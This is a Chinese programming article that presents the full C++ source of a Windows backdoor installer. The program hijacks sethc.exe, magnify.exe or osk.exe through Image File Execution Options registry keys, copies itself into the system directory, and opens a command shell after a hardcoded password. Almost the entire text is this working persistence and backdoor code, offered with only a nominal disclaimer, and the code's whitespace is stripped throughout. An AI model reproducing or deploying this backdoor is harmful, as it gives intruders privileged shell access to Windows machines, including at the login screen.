C++映像劫持后门实例分析
本文实例讲述了C++映像劫持后门的方法。分享给大家供大家参考。具体如下:
//freeheart.cpp:Definestheentrypointfortheconsoleapplication.
//学习交流使用,违法使用后果自负。
//by:cnblogs.com/bloggtime2013.5.24
//argv0=freeheart.exe
//argv1=-i
//argv2=name.exe
//argv3=123
//此程序使用的映像劫持技术,
//在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions]
//
#include"stdafx.h"
#include"windows.h"
#include"atlbase.h"
#include<iostream>
usingnamespacestd;
intmain(intargc,char*argv[])
{
voidanzhuang(char*Path,char*filename);
voidxiezai(char*path,char*hName);
voidCopyZiji(char*CopyPath);
char*password="free";//真密码缓冲区
char*shuruPwd="";//输入的密码缓冲区
interrorbuff=0;
char*PathBuff="";
char*FileName="";
char*chsname="sethc.exe";//SHIFT粘贴键程序的名称
char*fangdajing="magnify.exe";//
char*pingmujianpan="osk.exe";//
LPTSTRsysbuff;//得到系统路径的缓冲区
TCHARtchBuffer2[1024];//申请一个字符变量数组
sysbuff=tchBuffer2;//把系统的路径放到这个变量数组里
if(GetSystemDirectory(sysbuff,MAX_PATH))//得到系统路径
{
sysbuff=strcat(sysbuff,"\\");//strcat剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。
}
if(argv[1]!=NULL)
{
//安装命令判断
if(strcmp(argv[1],"-i")==0)
{
if(argv[2]!=NULL)
{
FileName=argv[2];
}
else
{
cout<<"请输入文件名!";
return0;
}
if(argv[3]!=NULL)
{
if(strcmp(argv[3],"1")==0)
{
anzhuang(FileName,chsname);
PathBuff=strcat(sysbuff,FileName);
CopyZiji(PathBuff);
cout<<"创建完成!:"<<PathBuff<<endl;
return0;
}
if(strcmp(argv[3],"2")==0)
{
anzhuang(FileName,fangdajing);
PathBuff=strcat(sysbuff,FileName);
CopyZiji(PathBuff);//调用函数
cout<<"创建完成!:"<<PathBuff<<endl;
return0;
}
if(strcmp(argv[3],"3")==0)
{
anzhuang(FileName,pingmujianpan);
PathBuff=strcat(sysbuff,FileName);
CopyZiji(PathBuff);//调用函数
cout<<"创建完成!:"<<PathBuff<<endl;
return0;
}
}
else
{
cout<<"请输入参数!"<<endl;
}
return0;
}
//卸载
if(strcmp(argv[1],"-u")==0)
{
if(argv[2]!=NULL)
{
if(strcmp(argv[2],"1")==0)
{
xiezai(sysbuff,chsname);
cout<<"删除文件成功!"<<endl;
return0;
}
if(strcmp(argv[2],"2")==0)
{
xiezai(sysbuff,fangdajing);
cout<<"删除文件成功!"<<endl;
return0;
}
if(strcmp(argv[2],"3")==0)
{
xiezai(sysbuff,pingmujianpan);
cout<<"删除文件成功!"<<endl;
return0;
}
}
else
{
cout<<"请输入参数!"<<endl;
}
return0;
}
//为什么会进入这里因为debuggera.exe其实是两个参数,因为if(argv[1]!=NULL)也就是第二个参数不等于空的话执行下面的语句。
while(errorbuff<3)//循环三次,错误。
{
cout<<"password:";
cin>>shuruPwd;
if(strcmp(shuruPwd,password)==0)
{
system("cmd.exe");
break;
}
else
{
cout<<"密码错误!"<<endl;
}
errorbuff++;//自加一次
}
return0;
}
system("colora");
cout<<"-----------------------------------------------------"<<endl;
cout<<"欢迎光临自由的心,祝您好运!"<<endl;
cout<<"1:sethc.exeShift后门\n";
cout<<"2:magnify.exe放大镜后门\n";
cout<<"3:osk.exe屏幕键盘后门\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安装:freeheart.exe-ixx.exe1"<<endl;
cout<<"卸载:freeheart.exe-u1"<<endl;
cout<<"连接密码:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return0;
}
//安装函数
voidanzhuang(char*Path,char*filename)
{
HKEYhSoftKey=NULL;
HKEYhCompanyKey=NULL;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFileExecutionOptions"),0,KEY_WRITE|KEY_READ,&hSoftKey)==ERROR_SUCCESS)
{
if(RegCreateKeyEx(hSoftKey,_T(filename),0,REG_NONE,REG_OPTION_NON_VOLATILE,KEY_WRITE|KEY_READ,NULL,&hCompanyKey,NULL)==ERROR_SUCCESS)
{
LPBYTEValue=(LPBYTE)Path;
longret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50);
RegCloseKey(hCompanyKey);
}
RegCloseKey(hSoftKey);
}
}
//卸载函数
voidxiezai(char*path,char*hName)//hName传递进来的程序名
{
HKEYhSoftKey=NULL;
LPCTSTRhMainKey="SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFileExecutionOptions";
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,hMainKey,0,KEY_WRITE|KEY_READ,&hSoftKey)==ERROR_SUCCESS)
{
DWORDlen=256;
DWORDtype=REG_SZ;
LPBYTElast=newBYTE[256];
LPCTSTRhname=(LPCTSTR)hName;
char*HHname;
HKEYhKey;//在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。
char*DelCom;
HHname=strcat((char*)hMainKey,"\\");//hmainkey注册表的路径
HHname=strcat((char*)hMainKey,(char*)hname);//hname程序名
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS&&RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
{
DelCom=strcat(path,reinterpret_cast<char*>(last));
DeleteFile(DelCom);//删除文件
RegDeleteKey(hSoftKey,hname);//删除注册表
}
RegCloseKey(hSoftKey);//关闭句柄
RegCloseKey(hKey);//关闭句柄
}
}
voidCopyZiji(char*CopyPath)//将自身生成exe文件复制到指定的路径下
{
charPathBuff[MAX_PATH];//申请一个字符变量数组,大小是系统最大的长度。
GetModuleFileName(NULL,PathBuff,MAX_PATH);//第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。
CopyFile(PathBuff,CopyPath,true);//CurrentPath是自身exe,把自身复制到目标路径当中
}
希望本文所述对大家的C++程序设计有所帮助。